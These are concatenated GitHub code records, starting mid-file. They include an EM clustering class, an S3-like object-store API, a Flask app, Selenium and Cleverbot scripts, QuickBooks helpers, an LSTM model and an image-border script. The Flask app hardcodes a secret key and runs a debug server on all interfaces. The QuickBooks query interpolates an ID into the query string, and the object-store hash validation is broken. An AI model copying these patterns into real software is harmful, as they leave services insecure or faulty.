RBF kernel\n        if sig is None:\n            self.sig = 0.5\n        else:\n            self.sig = sig\n        ## Threshold for cumulative variance\n        if threshold is None:\n            self.threshold = 0.95\n        else:\n            self.threshold = threshold\n        ## Calculate kernel\n        self.K_mat = np.ones((self.n, self.n))\n        for i in range(self.n):\n            for j in range(self.n):\n                self.K_mat[i,j] = RBF(self.x[i], self.x[j], sig=self.sig)\n    \n    ## E-step\n    def E_step(self):\n        self.D = np.ones((self.n, self.K))\n        for k in range(self.K):\n            Lambda_prod = (1 / self.Lambda[k] - 1 / self.Lambda_tot) / self.Lambda[k]\n            t_rho_prod = np.multiply(np.sqrt(self.t[:,k]), self.rho[k])\n            self.D[:,k] = np.sum(np.multiply(Lambda_prod, np.array([np.sum(np.multiply(self.Beta[k][:,j], t_rho_prod), axis=1) ** 2 for j in range(self.d[k])]).T), axis=1)\n            self.D[:,k] /= self.N[k]\n            self.D[:,k] += np.diag(self.rho[k]) / self.Lambda_tot + np.sum(np.log(self.Lambda[k]))\n            self.D[:,k] += (self.d_max - self.d[k]) * np.log(self.Lambda_tot) - 2 * np.log(self.pi[k])\n        ## self.t = 1 / np.apply_along_axis(func1d=lambda x: np.sum(np.exp(np.subtract.outer(x,x)), axis=1), axis=1, arr=self.D)\n        self.t = np.exp(-self.D - logsumexp(-self.D, axis=1).reshape(-1,1))\n        \n    ## M-step\n    def M_step(self):\n        self.M = {}; self.rho = {}; self.Lambda = {}; self.Beta = {}; Lambda_tot_num = 0; Lambda_tot_den = 0; self.d = np.zeros(self.K, dtype=int)\n        self.N = np.sum(self.t, axis=0)\n        self.pi = self.N / self.n\n        for k in range(self.K):\n            out_prod_t = np.outer(self.t[:,k], self.t[:,k])\n            K_sum = np.zeros((self.n, self.n))\n            for i in range(self.n):\n                for j in range(self.n):\n                    K_sum[i,j] = np.sum(np.multiply(self.t[:,k], self.K_mat[i] + self.K_mat[:,j]))\n            self.rho[k] = self.K_mat - K_sum / self.N[k] + np.sum(np.multiply(out_prod_t, self.K_mat)) / (self.N[k] ** 2)\n            self.M[k] = np.sqrt(out_prod_t) / self.N[k] * self.rho[k]\n            # Eigenvalue decomposition  \n            Lambda, Beta = np.linalg.eigh(self.M[k])\n            idx = Lambda.argsort()[::-1]\n            Lambda = Lambda[idx]\n            Lambda[Lambda < self.eps] = self.eps\n            self.Beta[k] = Beta[:,idx]\n            self.d[k] = estim_d(Lambda, threshold=self.threshold)\n            self.Lambda[k] = Lambda[:self.d[k]]\n            self.Beta[k] = Beta[:,idx][:,:self.d[k]]\n            Lambda_tot_num += np.multiply(self.pi[k], np.trace(self.M[k]) - np.sum(self.Lambda[k])) \n            Lambda_tot_den += np.multiply(self.pi[k], self.N[k] - self.d[k])\n        self.Lambda_tot = Lambda_tot_num / Lambda_tot_den\n        self.d_max = np.max(self.d)\n\n    ## Initialise t\n    def initialise_t(self, random=False, row_normalise=False, spherical=False, plusone=True):\n        if not random:\n            ## self.t = np.apply_along_axis(func1d=lambda x: (np.argsort(np.argsort(x)) + 1) / np.sum((np.arange(self.K)+1)), axis=1, \n            ##                     arr=GaussianMixture(n_components=self.K).fit(self.x).predict_proba(self.x))\n            if row_normalise: \n                x_init = lsbm.row_normalise(self.x)\n            else:\n                if spherical:\n                    x_init = lsbm.theta_transform(self.x)\n                else: \n                    x_init = np.copy(self.x)\n            self.t = (1 if plusone else 0) + GaussianMixture(n_components=self.K, n_init=25).fit(x_init).predict_proba(x_init)\n            self.t = lsbm.row_normalise(self.t)\n            ## self.t = np.apply_along_axis(func1d=lambda x: (np.argsort(np.argsort(x)) + 1) / np.sum((np.arange(self.K)+1)), axis=1, \n                        ## arr=GaussianMixture(n_components=self.K, n_init=50).fit(x_init).predict_proba(x_init))\n        else:\n            self.t = np.random.dirichlet(alpha=np.ones(self.K), size=self.n)\n        self.M_step()\n\n    ## Fit the PGP model using the EM algorithm\n    def fit_em(self, max_iter=100):\n        for _ in range(max_iter):\n            print('Iteration number:', str(_+1), end='\\r')\n            self.E_step()\n            self.M_step()\n        print()","repo_name":"fraspass/lsbm","sub_path":"pgpem/pgpem.py","file_name":"pgpem.py","file_ext":"py","file_size_in_byte":5519,"program_lang":"python","lang":"en","doc_type":"code","stars":2,"dataset":"github-code","pt":"37"}
+{"seq_id":"34371134255","text":"#\n#   Operations on Objects\n#\n#   Links:\n#   - http://docs.aws.amazon.com/AmazonS3/latest/API/ErrorResponses.html\n#\n\nimport os\nimport json\nimport falcon\nimport shutil\nimport hashlib\nimport tempfile\nimport gunicorn\n\nfrom common import BaseAPI\nfrom buckets import Bucket\n\nfrom sqlitedict import SqliteDict\n\n\ndef get_metadata_from_headers(headers):\n    ''' returns metadata dict from Request headers\n\n    [RFC 2616, Header Field Definitions](http://www.w3.org/Protocols/rfc2616/rfc2616-sec14.html)\n    '''\n    metadata = dict()\n    content_length = int(headers.get('CONTENT-LENGTH', 0))\n    if content_length:\n        metadata['content-length'] = content_length\n\n    content_md5 = headers.get('CONTENT-MD5', None)\n    if content_md5:\n        metadata['content-md5'] = content_md5\n\n    content_sha1 = headers.get('CONTENT-SHA1', None)\n    if content_sha1:\n        metadata['content-sha1'] = content_sha1\n\n    content_type = headers.get('CONTENT-TYPE', None)\n    if content_type:\n        metadata['content-type'] = content_type\n\n    return metadata\n\n\ndef pairtree_path(filehash, pairs=2):\n    ''' returns pairtree path based on filehash value\n    \n    filehash value: string like fa0ec35541f4f17a68e3d03acd04146f39ae5d2e\n    \n    >>> pairtree_path('fa0ec35541f4f17a68e3d03acd04146f39ae5d2e', pairs=2)\n    '/fa/0e/fa0ec35541f4f17a68e3d03acd04146f39ae5d2e\n    '''\n    path = ''\n    if len(filehash) <= 2 * pairs:\n        raise RuntimeError('The file hash is too short. Expected more then %d, detected %d' % (2 * pairs, len(filehash)))\n    for i in range(pairs):\n        path = os.path.join(path, filehash[2*i:2*i+2])\n    return os.path.join(path, filehash)\n\n\ndef movefile(source, target):\n    ''' move file from source to target. \n    If target directory doesn't exist, it will create it\n    '''\n    target_dir = os.path.dirname(target)\n    if not os.path.exists(target_dir):\n        os.makedirs(target_dir)\n    shutil.move(source, target)\n\n\nclass ObjectAPI(BaseAPI):\n\n    def __init__(self, storage_path):\n        ''' __init__\n        '''\n        super(ObjectAPI, self).__init__(storage_path)\n        self._bucket_path = None\n\n\n    def on_put(self, req, resp, bucket_name, object_id):\n        ''' _PUT_ Object\n\n        adds an object to a bucket. \n\n        To ensure that data is not corrupted traversing the network, use the Content-MD5 header.\n        \n        Based on: [PUT Object](http://docs.aws.amazon.com/AmazonS3/latest/API/RESTObjectPUT.html)\n        '''\n        metadata = get_metadata_from_headers(req.headers)\n\n        # in case of adding object to a bucket, the object-id attribute is used as a content name\n        metadata['content-name'] = object_id\n\n        bucket = Bucket(bucket_name=bucket_name, storage_path=self._storage_path)\n\n        if bucket.exists():\n            bucket_object = BucketObject(bucket=bucket)\n            bucket_object.metadata = metadata\n            if not bucket_object.exists():\n                bucket_object.store(req.stream)\n                resp.data = json.dumps(bucket_object.info())\n        else:\n            raise falcon.HTTPBadRequest(\n                title='InvalidBucketName', \n                description='The specified bucket is not valid',\n            )\n\n\n    def on_post(self, req, resp, bucket_name):\n        ''' _POST_ Object\n\n        adds an object to a specified bucket using HTML forms. POST is an alternate form of PUT that \n        enables browser-based uploads as a way of putting objects in buckets. Parameters that are \n        passed to PUT via HTTP Headers are instead passed as form fields to POST in the multipart/form-data \n        encoded message body. The service never stores partial objects: if you receive a successful response, \n        you can be confident the entire object was stored.\n\n        Based on: [POST Object](http://docs.aws.amazon.com/AmazonS3/latest/API/RESTObjectPOST.html)\n        '''\n        raise NotImplementedError()        \n\n\n    def on_head(self, req, resp, bucket_name, object_id):\n        ''' _HEAD_ Object\n\n        retrieves metadata from an object without returning the object itself. This operation is useful \n        if you are interested only in an object's metadata.\n\n        Based on: [HEAD Object](http://docs.aws.amazon.com/AmazonS3/latest/API/RESTObjectHEAD.html)\n        '''\n        bucket_object = BucketObject(\n            object_id=object_id,\n            bucket=Bucket(bucket_name=bucket_name, storage_path=self._storage_path)\n        )\n        if bucket_object.exists():\n            for k,v in bucket_object.metadata.items():\n                resp.set_header(k,v)\n        else:\n            raise falcon.HTTPNotFound()\n\n\n\n    def on_get(self, req, resp, bucket_name, object_id):\n        ''' _GET_ Object\n\n        retrieves objects from the service. An bucket has no directory hierarchy such as you would \n        find in a typical computer file system. You can, however, create a logical hierarchy by using object \n        key names that imply a folder structure. For example, instead of naming an object sample.jpg, you can \n        name it photos/2006/February/sample.jpg. \n\n        Based on: [GET Object](http://docs.aws.amazon.com/AmazonS3/latest/API/RESTObjectGET.html)\n        '''\n        bucket_object = BucketObject(\n            object_id=object_id,\n            bucket=Bucket(bucket_name=bucket_name, storage_path=self._storage_path)\n        )\n        if bucket_object.exists():\n            if 'content-type' in bucket_object.metadata:\n                resp.content_type = bucket_object.metadata['content-type']\n            for k,v in bucket_object.metadata.items():\n                resp.set_header(k,v)\n            resp.stream = open(bucket_object.filepath, 'rb')\n            resp.stream_len = bucket_object.metadata['content-length']\n\n        else:\n            raise falcon.HTTPNotFound()\n\n\n    def on_delete(self, req, resp, bucket_name, object_id):\n        ''' _DELETE_ Object\n\n        removes the object\n\n        Based on: [DELETE Object](http://docs.aws.amazon.com/AmazonS3/latest/API/RESTObjectDELETE.html)\n        '''\n        bucket_object = BucketObject(\n            object_id=object_id,\n            bucket=Bucket(bucket_name=bucket_name, storage_path=self._storage_path)\n        )\n        if bucket_object.exists():\n            bucket_object.delete()\n        else:\n            raise falcon.HTTPNotFound()\n\n\n\nclass BucketObject(object):\n\n    def __init__(self, object_id=None, metadata={}, bucket=None):\n\n        self.object_id = object_id\n\n        self._bucket = bucket\n        if bucket and isinstance(bucket, Bucket) and bucket.exists():\n            self._bucket = bucket\n            self._temp_path = os.path.join(self._bucket.bucket_path, 'tmp')\n            self._data_path = os.path.join(self._bucket.bucket_path, 'data')\n        else:\n            raise falcon.HTTPBadRequest(\n                title='InvalidBucketName', \n                description= 'The specified bucket is not valid'\n            )\n\n        # metadata key used for object identification in the storage\n        self._metadata = dict()\n        if 'object-key' in self._bucket.metadata and self._bucket.metadata['object-key'] in ['content-md5', 'content-sha1']:            \n            self.OBJECT_KEY_BASE=self._bucket.metadata['object-key']\n        else:\n            self.OBJECT_KEY_BASE='content-sha1'\n        self._objects_metadata = SqliteDict(os.path.join(bucket.bucket_path,'metadata.sqlite'), 'objects', autocommit=True)\n\n\n    @property\n    def metadata(self):\n\n        if self.object_id and self.object_id in self._objects_metadata:\n            return dict(self._objects_metadata[self.object_id])\n        else:\n            return self._metadata\n    \n\n    @metadata.setter\n    def metadata(self, value):\n\n        if value and isinstance(value, dict):\n\n            # object_id doesn't set but object_id is in the value \n            if not self.object_id and self.OBJECT_KEY_BASE in value:\n                self.object_id = value[self.OBJECT_KEY_BASE]\n\n            # object_id is assigned\n            if self.object_id:\n                self._objects_metadata[self.object_id] = value\n            \n            # no object_id, stored temporary\n            else:\n                self._metadata = value    \n\n        else:\n            raise RuntimeError('Incorrect metadata type. Found \"%s\", expected \"dict\"') % type(value)\n\n    @property\n    def filepath(self):\n        ''' returns the path to file in storage\n        '''\n        if self.object_id:\n            return os.path.join(self._data_path, pairtree_path(self.object_id))\n        else:\n            return os.path.join(self._data_path, pairtree_path(self._metadata[self.OBJECT_KEY_BASE]))\n\n\n    def exists(self):\n        ''' returns True if the object is in the storage\n        '''\n        if self.object_id and self.object_id in self._objects_metadata:\n            return True\n        else:\n            return False\n\n\n    def store(self, stream=None):\n        ''' store object into bucket\n        '''\n\n        # TODO: for later analysis\n\n        # if not stream or not isinstance(stream, gunicorn.http.body.Body):\n        #     raise falcon.HTTPInternalServerError(\n        #         title = 'InvalidStreamType',\n        #         description = 'The Stream type is invalid, %s' % type(stream)\n        #     )\n\n        if not stream:\n            raise falcon.HTTPInternalServerError(\n                title = 'FileEmpty',\n                description = 'Attempt to store empty file'\n            )\n\n        temp_filepath = None\n        with tempfile.NamedTemporaryFile(dir=self._temp_path, mode=\"wb\", delete=False) as _file:\n            temp_filepath = _file.name\n            while True:\n                chunk = stream.read(4096)\n                if not chunk:\n                    break\n                _file.write(chunk)\n\n        hashes = {\n            'content-md5': self.filehash(temp_filepath, hashlib.md5()),\n            'content-sha1': self.filehash(temp_filepath, hashlib.sha1()),\n            'content-sha256': self.filehash(temp_filepath, hashlib.sha256())        \n        }\n\n        if self.validate(temp_filepath, hashes):\n            self._metadata.update(hashes)\n\n            self.object_id = self._metadata[self.OBJECT_KEY_BASE]\n\n            if hashes[self.OBJECT_KEY_BASE] not in self._objects_metadata:\n                movefile(temp_filepath, self.filepath)\n                self.metadata = self._metadata\n            else:\n                os.remove(temp_filepath)\n                raise falcon.HTTPConflict(\n                    title=\"ObjectAlreadyExists\",\n                    description=\"The object already exists into the storage.\",\n                    headers={\n                        'content-md5':  self.metadata['content-md5'],\n                        'content-sha1': self.metadata['content-sha1'],\n                        'content-sha256': self.metadata['content-sha256'],\n                    }\n                )\n\n\n    def filehash(self, filepath, hashfunc):\n        ''' returns file hash\n        '''\n        block_size = 2 ** 20\n        with open(filepath, 'rb') as _file:\n            while True:\n                data = _file.read(block_size)\n                if not data:\n                    break\n                hashfunc.update(data)\n        return hashfunc.hexdigest()\n\n\n    def validate(self, filepath, filehashes):\n        ''' validate recieved file object\n        '''\n        if os.path.getsize(filepath) == 0:\n            os.remove(filepath)\n            raise falcon.HTTPBadRequest(\n                title='ZeroContentLength',\n                description='The content size is 0'\n            )\n\n        if 'content-length' in self._metadata and \\\n            os.path.getsize(filepath) != self._metadata['content-length']:\n            os.remove(filepath)\n            raise falcon.HTTPBadRequest(\n                title='BadContentLength',\n                description='The Content-length did not match'\n            )\n\n        if 'content-md5' in self._metadata and \\\n            filehashes['md5'] != self._metadata['content-md5']:\n            os.remove(filepath)\n            raise falcon.HTTPBadRequest(\n                title='BadDigest',\n                description='The Content-MD5 did not match'\n            )\n\n        if 'content-sha1' in self._metadata and \\\n            filehashes['sha1'] != self._metadata['content-sha1']:\n            os.remove(filepath)\n            raise falcon.HTTPBadRequest(\n                title='BadDigest',\n                description='The Content-SHA1 did not match'\n            )\n\n        return True\n\n    def delete(self):\n        ''' delete object\n        '''\n        if self.exists():\n            if os.path.exists(self.filepath):\n                os.remove(self.filepath)\n            else:\n                raise falcon.HTTPNotFound()\n            self._objects_metadata.pop(self.object_id)\n\n\n    def info(self):\n        ''' returns object's metadata\n        '''\n        if self.object_id and self.object_id in self._objects_metadata:\n            return self._objects_metadata[self.object_id]\n        else:\n            return self._metadata\n\n","repo_name":"ownport/objectstore","sub_path":"objectstore/api/objects.py","file_name":"objects.py","file_ext":"py","file_size_in_byte":13051,"program_lang":"python","lang":"en","doc_type":"code","stars":3,"dataset":"github-code","pt":"37"}
+{"seq_id":"16893771098","text":"###\n# Main application interface\n###\nfrom flask import Flask, jsonify\nfrom database import db_connection\n\napp = Flask(__name__)\n    \n# secret key that will be used for securely signing the session \n# cookie and can be used for any other security related needs by \n# extensions or your application\napp.config['SECRET_KEY'] = 'someCrazyS3cR3T!Key.!'\n\n# these are for the DB object to be able to connect to MySQL. \napp.config['MYSQL_DATABASE_USER'] = 'webapp'\napp.config['MYSQL_DATABASE_PASSWORD'] = open('/secrets/db_password.txt').readline()\napp.config['MYSQL_DATABASE_HOST'] = 'db'\napp.config['MYSQL_DATABASE_PORT'] = 3306\napp.config['MYSQL_DATABASE_DB'] = 'alphapool_db'  # Change this to your DB name\n\n# Initialize the database object with the settings above. \ndb_connection.init_app(app)\n\nfrom src.car_api.car import car_blueprint\nfrom src.agency_api.agency import agency_blueprint\nfrom src.driver_api.driver import driver_blueprint\nfrom src.ride_api.ride import ride_blueprint\n\napp.register_blueprint(car_blueprint, url_prefix='/car')\napp.register_blueprint(agency_blueprint, url_prefix='/agency')\napp.register_blueprint(driver_blueprint, url_prefix='/driver')\napp.register_blueprint(ride_blueprint, url_prefix='/ride')\n\n@app.route('/')\ndef home():\n    return ('<h1>Hello From the Alphapool API!</h1>')\n\n# This is a sample route for the /test URI.  \n# as above, it just returns a simple string. \n@app.route('/test')\ndef tester():\n    return \"<h1>This is a test!</h1>\"\n\nif __name__ == '__main__':\n    # we want to run in debug mode (for hot reloading) \n    # this app will be bound to port 4000. \n    # Take a look at the docker-compose.yml to see \n    # what port this might be mapped to... \n    app.run(debug = True, host = '0.0.0.0', port = 4000)","repo_name":"deanpatel2/AlphaPool","sub_path":"flask-app/app.py","file_name":"app.py","file_ext":"py","file_size_in_byte":1752,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"37"}
+{"seq_id":"37567123347","text":"from selenium import webdriver\nfrom selenium.webdriver.common.by import By\nfrom selenium.webdriver.common.keys import Keys\n\ncdp = r'D:\\Program Files\\pagetest\\注册A.html'\ndriver = webdriver.Chrome()\ndriver.get(cdp)\n\n# 层级选择器：后代关系（不止父子）定位test1，然后写入值test1\ne1 = driver.find_element(By.CSS_SELECTOR,'p[id=\"p1\"] input')\ne1.send_keys('test1')\n# selenium定位test1输入框并输入制表符\ne1.clear()\ne1.send_keys(Keys.TAB)\n\n# 2). 截图保存\ndriver.get_screenshot_as_file('/')\n\n# 获取页面上第一个超链接的地址\ne2 = driver.find_element(By.LINK_TEXT, '新浪')\nh2 = e2.get_attribute('href')\nprint(h2)\n\ndriver.close()\n","repo_name":"T-Better/SoftTest","sub_path":"B01_14 UI自动化/B01_14 09 Selenium/Codes/2023/3月/anki_sel_300853.py","file_name":"anki_sel_300853.py","file_ext":"py","file_size_in_byte":674,"program_lang":"python","lang":"en","doc_type":"code","stars":3,"dataset":"github-code","pt":"37"}
+{"seq_id":"3728203789","text":"import requests\r\n\r\nclass Cleverbot():\r\n\tdef __init__(self, user, api_key, nick=\"Bot\"):\r\n\t\tself.session = requests.Session()\r\n\t\tself.user = user\r\n\t\tself.key = api_key\r\n\t\tself.nick = nick\r\n\r\n\r\n\tdef create_session(self):\r\n\t\tparams = {\r\n\t\t\t\"user\": self.user,\r\n\t\t\t\"key\": self.key,\r\n\t\t\t\"nick\": self.nick\r\n\t\t}\r\n\t\tresp = self.session.post(\"https://cleverbot.io/1.0/create\", data=params)\r\n\t\r\n\tdef say(self, text):\r\n\t\tparams = {\r\n\t\t\t\"user\": self.user,\r\n\t\t\t\"key\": self.key,\r\n\t\t\t\"nick\": self.nick,\r\n\t\t\t\"text\": text\r\n\t\t}\r\n\r\n\t\tresp = self.session.post(\"https://cleverbot.io/1.0/ask\", data=params)\r\n\t\tdata = resp.json()\r\n\t\treturn data\r\n","repo_name":"shadeyg56/cleverbotio.py","sub_path":"Cleverbotio.py/cleverbot.py","file_name":"cleverbot.py","file_ext":"py","file_size_in_byte":621,"program_lang":"python","lang":"en","doc_type":"code","stars":3,"dataset":"github-code","pt":"37"}
+{"seq_id":"26628875780","text":"# Django imports\nfrom django.conf import settings\n\n# 3rd party imports\nimport requests\n\ndef _get_headers():\n    '''\n    Args:\n        None.\n    Returns:\n        Headers dictionary.\n\n    Gets access token from settings and creates headers dict.\n    '''\n    \n    headers = {}\n    headers[\"Authorization\"] = \"Bearer %s\" %(settings.ACCESS_TOKEN)\n    headers[\"Accept\"] = 'application/json'\n    return headers\n    \ndef _request_intuit(method, url, headers={}, body=\"\"):\n    '''\n    Args:\n        method:str = Request type. Ex: get, post\n        url:str = URL to be requested.\n        headers:dict = Headers to be while requesting.\n        body:str/dict/list = body to be sent while requesting.\n    Returns:\n        Response given by URL.\n\n    Using python's request module, requests given url and gets response\n    '''\n    \n    try:\n        req_obj = getattr(requests, method)\n    except Exception:\n        return {\"success\": False, \"response\": \"Wrong request type\"}\n\n    headers = _get_headers()\n    resp = req_obj(url=url, headers=headers, data=body)\n    try:\n        result = resp.json()\n    except Exception:\n        result = resp.content\n    return {\"success\": True, \"response\": result}\n\ndef _get_all_invoices(company_id):\n    '''\n    Args:\n        company_id:str = Company id for which invoices are needed.\n    Returns:\n        list of invoices\n    '''\n    \n    url = \"https://sandbox-quickbooks.api.intuit.com\"\\\n        \"/v3/company/%s/query?query=select * \"\\\n        \"from Invoice\" %(company_id)\n    response = _request_intuit(\"get\", url)\n    return response\n\ndef _get_invoice(company_id, invoice_id):\n    '''\n    Args:\n        company_id:str = Company id for which invoices are needed.\n        invoice_id:str = ID of the invoice\n    Returns:\n        Invoice information\n    '''\n\n    url = \"https://sandbox-quickbooks.api.intuit.com\"\\\n        \"/v3/company/%s/query?query=\"\\\n        \"select * from Invoice where id = '%s'\" %(company_id, invoice_id)\n    response = _request_intuit(\"get\", url)\n    return response\n","repo_name":"Manisha-Bayya/QuickBooks","sub_path":"company/utils.py","file_name":"utils.py","file_ext":"py","file_size_in_byte":2013,"program_lang":"python","lang":"en","doc_type":"code","stars":2,"dataset":"github-code","pt":"37"}
+{"seq_id":"38863127593","text":"import torch\r\nfrom torch import nn\r\nfrom torch.nn.utils.rnn import pack_padded_sequence, pad_packed_sequence\r\nfrom hmt.modules import LayerNorm\r\n\r\n\r\nclass Mymodel(nn.Module):\r\n    def __init__(self, dictionary, opt, tgt_size):\r\n        super().__init__()\r\n        self.model = nn.LSTM(opt.src_word_vec_size, dropout=opt.lstm_dropout,\r\n                             hidden_size=opt.hidden_size, bidirectional=True)\r\n        self.opt = opt\r\n        self.label = nn.Linear(opt.hidden_size*2, tgt_size, bias=True)\r\n        self.set_model_parameters()\r\n        self.embed_tokens = self.build_embedding(dictionary)\r\n        self.layer_norm = LayerNorm(opt.src_word_vec_size)\r\n        self.embed_dropout = nn.Dropout(opt.embed_dropout)\r\n        self.final_dropout = nn.Dropout(opt.final_dropout)\r\n        self.bn = nn.BatchNorm1d(opt.hidden_size*2)\r\n\r\n    def build_embedding(self, dictionary):\r\n        num_embedding = len(dictionary)\r\n        padding_idx = dictionary.pad()\r\n        emb = Embedding(num_embedding, self.opt.src_word_vec_size, padding_idx)\r\n        return emb\r\n\r\n    def forward(self, x):\r\n        src_tokens = x['src_tokens']  # batch_size * sequence_length\r\n        src_tokens = self.embed_tokens(src_tokens)  # batch_size * sequence_length * embed_dim\r\n        self.embed_dropout(src_tokens)\r\n        src_tokens = self.layer_norm(src_tokens)\r\n        src_tokens.transpose_(1, 0)  # sequences_length, batch_size, embed_dim\r\n        packed = pack_padded_sequence(src_tokens, x['src_lengths'])\r\n        output, (h_n, c_n) = self.model(packed)\r\n        # output, output_lengths = pad_packed_sequence(output)  # output [seq_len, batch, num_directions*hidden_size]\r\n        # h_n/c_n [num_layers*num_directions, batch, hidden_size]\r\n        last_tensor = h_n.transpose(0, 1).contiguous().view(src_tokens.size(1), -1)\r\n        label_input = self.bn(last_tensor)  # Accelerate the training of deep neural nets\r\n        label_input = self.final_dropout(label_input)\r\n        final_output = self.label(label_input)\r\n        return final_output\r\n\r\n    def set_model_parameters(self):\r\n        for p in self.parameters():\r\n            p.data.uniform_(-0.1, 0.1)\r\n\r\n\r\ndef Embedding(num_embeddings, embedding_dim, padding_idx):\r\n    m = nn.Embedding(num_embeddings, embedding_dim, padding_idx)\r\n    nn.init.normal_(m.weight, mean=0, std=embedding_dim**-0.5)\r\n    nn.init.constant_(m.weight[padding_idx], 0)\r\n    return m\r\n\r\n","repo_name":"onlyhebo/first-test-project","sub_path":"hmt/model/model.py","file_name":"model.py","file_ext":"py","file_size_in_byte":2422,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"37"}
+{"seq_id":"30157884030","text":"import json\nimport pytest\nimport websocket\nfrom pprint import pprint\n\n\n@pytest.mark.usefixtures('init')\nclass TestAnalysis():\n\n    payload = {\n        'index': 'logs',\n        'key_words': {\n            'pod.name': 'test',\n            'container.name': 'aomaker',\n            # 'kubernetes.labels.uid': '091143e5-464e-4704-8438-04ecc98f4b1a',\n        },\n        \"from_\": 0,\n        \"size\": 200,\n    }\n\n    def test_es_log(self):\n        resp = self.bs.post(\n            f'{self.url}/analysis/raw',\n            json=self.payload\n        )\n        pprint(resp.json())\n        assert resp.status_code == 200\n\n        self.payload['offset'] = resp.json()['offset']\n        ws = websocket.WebSocket()\n        ws.connect(\n            f'{self.ws_url}/analysis/ws/raw',\n        )\n        ws.send(json.dumps(self.payload))\n        resp = ws.recv()\n        pprint(json.loads(resp))\n        assert ws.status == 101\n","repo_name":"no8ge/analysis","sub_path":"tests/test_analysis.py","file_name":"test_analysis.py","file_ext":"py","file_size_in_byte":904,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"37"}
+{"seq_id":"29453133615","text":"from __future__ import print_function\nimport matplotlib \nmatplotlib.use('Agg')\nimport matplotlib.pyplot as plt \nimport os.path  \nimport PIL\nimport PIL.ImageDraw \nfrom PIL import ImageOps, ImageDraw\nimport numpy as np\nimport pdb\n\n# def test(original_image, percent_of_side=.3, position=\"TL\", picture=\"football\"):\n    \n#     width, height = original_image.size\n\n#     rounded_mask = PIL.Image.new('RGBA', (width, height), (127,0,127,0))\n#     drawing_layer = PIL.ImageDraw.Draw(rounded_mask)\n#     drawing_layer.polygon([(0,0),(width,0),\n#                             (0,height),(width,height)],\n#                             fill=(127,0,127,120))\n                         \n#     # Uncomment the following line to show the mask\n#     plt.imshow(rounded_mask)\n    \n#     result = PIL.Image.new('RGBA', original_image.size, (0,120,120,5))\n#     result.paste(original_image, (0,0), mask=rounded_mask)\n\n#     rounded_mask.save(\"test.png\")                                           \n\n\ndef makeBorderOne(originalImage, border=50, color1=\"red\", color2= \"blue\", color3=\"orange\"):\n    original_image = PIL.Image.open(originalImage)\n    widthOriginal, heightOriginal = original_image.size\n    width, height = widthOriginal+border*2, heightOriginal+border*2\n\n    \n    #start with transparent mask\n    img = PIL.Image.new('RGB', (width, height))\n    pattern = np.array(img)\n    for row in range(len(pattern)):\n        for column in range(len(pattern[0])):\n            if not(row>border and row<(width-border-10) and column>border and column<(height-border+8)):\n                if (row+column)/8 % 2 == 0:\n                    \n                \n                # if width%2 == 0:\n                    #(r+c)/w says how many stripes above/below line y=x\n                    # The % 2 says whether it is an even or odd stripe\n                    \n                    # pdb.set_trace()\n                    \n                    # Even stripe\n                    \n                    #PIL.ImageColor.getrgb()\n                    pattern[row][column] = PIL.ImageColor.getrgb(color1) \n                    \n                elif (row+column)/8 % 3 == 0:\n                    pattern[row][column] = PIL.ImageColor.getrgb(color2)\n                else:\n                    # Odd stripe\n                    pattern[row][column] = PIL.ImageColor.getrgb(color3)\n            else:\n                pattern[row][column] = [0, 0, 0]\n    # pdb.set_trace()\n    frame = PIL.Image.fromarray(pattern)\n    frame.save(\"frametest.png\")\n    \n    # rounded_mask = PIL.Image.new('RGBA', (int(width*0.8), int(height*0.8)), (0,0,0,255))\n    # frame = pattern2.paste(rounded_mask, (int(width*0.1), int(height*0.1)), mask=rounded_mask)\n    \"\"\"\n    drawing_layer = PIL.ImageDraw.Draw(rounded_mask)\n    \n    # https://pillow.readthedocs.io/en/stable/reference/Image.html#PIL.Image.new\n    \n    # Overwrite the RGBA values with A=255.\n    # The 127 for RGB values was used merely for visualizing the mask\n    \n    # Draw two rectangles to fill interior with opaqueness\n    rounded_mask = PIL.Image.new('RGBA', (width, height), (127,0,127,0))\n    drawing_layer = PIL.ImageDraw.Draw(rounded_mask)\n    drawing_layer.polygon([(0,0),(width,0),\n                            (0,height),(width,height)],\n                            fill=(127,0,127,120))\n    \"\"\"\n                         \n    # Uncomment the following line to show the mask\n    # plt.imshow(rounded_mask)\n    \n    # Make the new image, starting with all transparent\n    original_image.save(\"imagetest.png\")\n\n    # pdb.set_trace()\n    frame.paste(original_image, (int(border), int(border)), mask=original_image)\n    \n    frame.save(\"result.png\")\n    \ndef get_images(directory=None):\n    \"\"\" Returns PIL.Image objects for all the images in directory.\n    \n    If directory is not specified, uses current directory.\n    Returns a 2-tuple containing \n    a list with a  PIL.Image object for each image file in root_directory, and\n    a list with a string filename for each image file in root_directory\n    \"\"\"\n    \n    if directory == None:\n        directory = os.getcwd() # Use working directory if unspecified\n        \n    image_list = [] # Initialize aggregaotrs\n    file_list = []\n    \n    directory_list = os.listdir(directory) # Get list of files\n    for entry in directory_list:\n        absolute_filename = os.path.join(directory, entry)\n        try:\n            image = PIL.Image.open(absolute_filename)\n            file_list += [entry]\n            image_list += [image]\n        except IOError:\n            pass # do nothing with errors tying to open non-images\n    return image_list, file_list\n\n# def client2(directory=None):\n#     \"\"\" Saves a modfied version of each image in directory.\n    \n#     Uses current directory if no directory is specified. \n#     Places images in subdirectory 'modified', creating it if it does not exist.\n#     New image files are of type PNG and have transparent rounded corners.\n#     \"\"\"\n    \n#     if directory == None:\n#         directory = os.getcwd() # Use working directory if unspecified\n        \n#     # Create a new directory 'modified'\n#     new_directory = os.path.join(directory, 'modified')\n#     try:\n#         os.mkdir(new_directory)\n#     except OSError:\n#         pass # if the directory already exists, proceed  \n    \n#     # Load all the images\n#     image_list, file_list = get_images(directory)  \n\n#     # Go through the images and save modified versions\n#     for n in range(len(image_list)):\n#         # Parse the filename\n#         print(n)\n#         filename, filetype = os.path.splitext(file_list[n])\n        \n#         # Round the corners with default percent of radius\n#         curr_image = image_list[n]\n#         new_image = makeBorder(curr_image) \n        \n#         # Save the altered image, suing PNG to retain transparency\n#         new_image_filename = os.path.join(new_directory, filename + '.png')\n#         new_image.save(new_image_filename)    \n\n\ndef Bordertest(original_image, border=50, color1=\"red\", color2= \"orange\", color3=\"orange\",SqColor=\"blue\", borderChoice=\"b\"):\n    \"\"\"\n    Makes a border with 3 seperate colors in a striped pattern from top right to\n    bottom left. The color alternate from color 1, color 2, color 1, color 3. \n    Leaves a empty section in the middle that is the same width and height as\n    the given image. The default arguements for colors are translated to RGB and\n    then used to create an 